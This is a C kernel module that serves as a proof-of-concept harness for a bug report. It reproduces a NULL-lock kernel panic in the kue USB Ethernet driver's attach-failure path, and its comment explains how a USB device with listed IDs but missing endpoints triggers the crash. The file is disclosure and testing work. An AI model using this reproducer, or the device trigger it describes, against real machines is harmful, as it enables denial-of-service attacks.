/*
 * DF-5453 PoC harness — if_kue.c attach-failure DF-5334-class panic.
 *
 * Target: sys/bus/u4b/net/if_kue.c kue_attach() failure branch:
 *
 *   478:   lockinit(&sc->sc_lock, device_get_nameunit(dev), 0, LK_CANRECURSE);
 *   480:   iface_index = KUE_IFACE_IDX;
 *   481:   error = usbd_transfer_setup(uaa->device, &iface_index,
 *   482:       sc->sc_xfer, kue_config, KUE_N_TRANSFER, sc, &sc->sc_lock);
 *   483:   if (error) {
 *   484:       device_printf(dev, "allocating USB transfers failed\n");
 *   485:       goto detach;
 *   486:   }
 *   ...
 *   508: detach:
 *   509:   kue_detach(dev);
 *   510:   return (ENXIO);
 *
 * kue_detach() (if_kue.c:513-525) then runs, in order:
 *
 *   519:   usbd_transfer_unsetup(sc->sc_xfer, KUE_N_TRANSFER);
 *   520:   uether_ifdetach(ue);
 *
 * but at this point ue->ue_lock / ue_dev / ue_udev / ue_methods / ue_tq are
 * still ALL ZERO (they are assigned only at if_kue.c:495-499, AFTER the
 * failing usbd_transfer_setup()).  uether_ifdetach()
 * (sys/bus/u4b/net/usb_ethernet.c:267-305):
 *
 *   273:   usb_proc_drain(&ue->ue_tq);        <- no-op, up_lock == NULL
 *   276:   ifp = uether_getifp(ue);           <- embedded arpcom ifnet, NEVER NULL
 *   278:   if (ifp != NULL) {                 <- dead guard, always true
 *   281:       UE_LOCK(ue);                   <- lockmgr(NULL, LK_EXCLUSIVE)
 *                                              ==> Fatal trap 12, fault VA 0x0
 *
 * The trigger is fully device-controlled: any USB device presenting one of
 * the 33 VID:PID pairs in kue_devs[] (e.g. KLSI DUH3E10BT 0x05e6:0x0008 or
 * 3Com 3C460 0x04cf:0x7992) at config index 0 / iface 0 but WITHOUT the
 * expected bulk-in/bulk-out endpoint set makes usbd_transfer_setup() fail
 * with USB_ERR_NO_PIPE (usb_transfer.c:1030-1053: usbd_get_endpoint()
 * returns NULL for the missing endpoint).
 *
 * This KLD replays kue_detach() verbatim on that exact post-failure state
 * using the production usbd_transfer_unsetup() and uether_ifdetach()
 * (exported by uether.ko).  The only non-production code is the static
 * kue_attach()/kue_detach() plumbing itself (they are static in if_kue.c,
 * unreachable without a physical KL5KUSB101B adapter; the failure branch
 * reaches them through a plain goto).
 */

#include <sys/stdint.h>
#include <sys/param.h>
#include <sys/queue.h>
#include <sys/types.h>
#include <sys/systm.h>
#include <sys/socket.h>
#include <sys/kernel.h>
#include <sys/bus.h>
#include <sys/module.h>
#include <sys/lock.h>
#include <sys/condvar.h>
#include <sys/sysctl.h>
#include <sys/unistd.h>
#include <sys/callout.h>
#include <sys/malloc.h>
#include <sys/caps.h>

#include <net/if.h>
#include <net/if_var.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usb_process.h>

#include <bus/u4b/net/usb_ethernet.h>
#include <bus/u4b/net/if_kuereg.h>

static int
kue_poc_modevent(module_t mod, int type, void *arg)
{
	struct kue_softc *sc;

	switch (type) {
	case MOD_LOAD:
		kprintf("kue_poc: constructing post-'allocating USB transfers "
		    "failed' state (if_kue.c:481-486)\n");
		sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO);
		if (sc == NULL)
			return (ENOMEM);
		/* if_kue.c:478: the only softc field initialised before the
		 * failing usbd_transfer_setup() at if_kue.c:481 */
		lockinit(&sc->sc_lock, "kue_poc", 0, LK_CANRECURSE);
		kprintf("kue_poc: state check: ue_lock=%p ue_dev=%p "
		    "ue_udev=%p ue_tq.up_lock=%p (all must be 0/NULL)\n",
		    sc->sc_ue.ue_lock, (void *)sc->sc_ue.ue_dev,
		    sc->sc_ue.ue_udev, sc->sc_ue.ue_tq.up_lock);
		kprintf("kue_poc: entering kue_detach() replay: "
		    "usbd_transfer_unsetup() + uether_ifdetach() "
		    "(if_kue.c:519-520)\n");

		/* if_kue.c:519 — production code, zeroed xfer array == branch-1 */
		usbd_transfer_unsetup(sc->sc_xfer, KUE_N_TRANSFER);

		/* if_kue.c:520 -> uether_ifdetach() -> UE_LOCK(ue) ->
		 * lockmgr(NULL, LK_EXCLUSIVE) -> Fatal trap 12, VA 0x0 */
		uether_ifdetach(&sc->sc_ue);

		kprintf("kue_poc: SURVIVED uether_ifdetach() (UNEXPECTED — "
		    "guard present?)\n");
		lockuninit(&sc->sc_lock);
		kfree(sc, M_TEMP);
		return (0);
	default:
		return (0);
	}
}

static moduledata_t kue_poc_mod = { "kue_poc", kue_poc_modevent, NULL };
DECLARE_MODULE(kue_poc, kue_poc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(kue_poc, uether, 1, 1, 1);